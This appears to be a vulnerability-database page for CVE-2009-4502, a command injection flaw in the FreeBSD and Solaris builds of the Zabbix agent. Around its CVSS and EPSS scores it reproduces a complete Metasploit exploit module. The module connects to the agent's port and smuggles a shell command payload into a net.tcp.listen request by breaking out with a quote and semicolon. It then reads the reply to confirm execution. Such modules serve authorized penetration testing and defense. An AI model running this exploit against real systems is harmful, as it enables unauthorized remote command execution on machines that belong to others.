Lucene search

K
metasploitHdm <[email protected]>MSF:EXPLOIT-UNIX-MISC-ZABBIX_AGENT_EXEC-
HistoryDec 14, 2009 - 6:24 p.m.

Zabbix Agent net.tcp.listen Command Injection

2009-12-1418:24:24
www.rapid7.com
19

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.652

Percentile

97.9%

This module exploits a metacharacter injection vulnerability in the FreeBSD and Solaris versions of the Zabbix agent. This flaw can only be exploited if the attacker can hijack the IP address of an authorized server (as defined in the configuration file).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zabbix Agent net.tcp.listen Command Injection',
      'Description'    => %q{
          This module exploits a metacharacter injection vulnerability
        in the FreeBSD and Solaris versions of the Zabbix agent. This flaw
        can only be exploited if the attacker can hijack the IP address
        of an authorized server (as defined in the configuration file).
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-4502' ],
          [ 'OSVDB', '60956' ],
          [ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars'    => "'",
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-09-10'))

    register_options(
      [
        Opt::RPORT(10050)
      ])
  end

  def exploit
    connect

    rnd_port = rand(1024) + 1
    buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"

    print_status("Sending net.tcp.listen() request to the zabbix agent...")
    sock.put(buf)

    res = nil
    begin
      res = sock.get_once(-1, 5)
    rescue ::EOFError
    end

    if ! res
      print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")
      disconnect
      return
    end

    if (res =~ /ZBX_NOTSUPPORTED/)
      print_status("The zabbix agent is not running a vulnerable version or operating system.")
      disconnect
      return
    end

    if(res !~ /ZBXD/)
      print_status("The zabbix agent returned an unknown response.")
      disconnect
      return
    end

    print_status("The zabbix agent should have executed our command.")
    disconnect
  end
end

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.652

Percentile

97.9%

Related for MSF:EXPLOIT-UNIX-MISC-ZABBIX_AGENT_EXEC-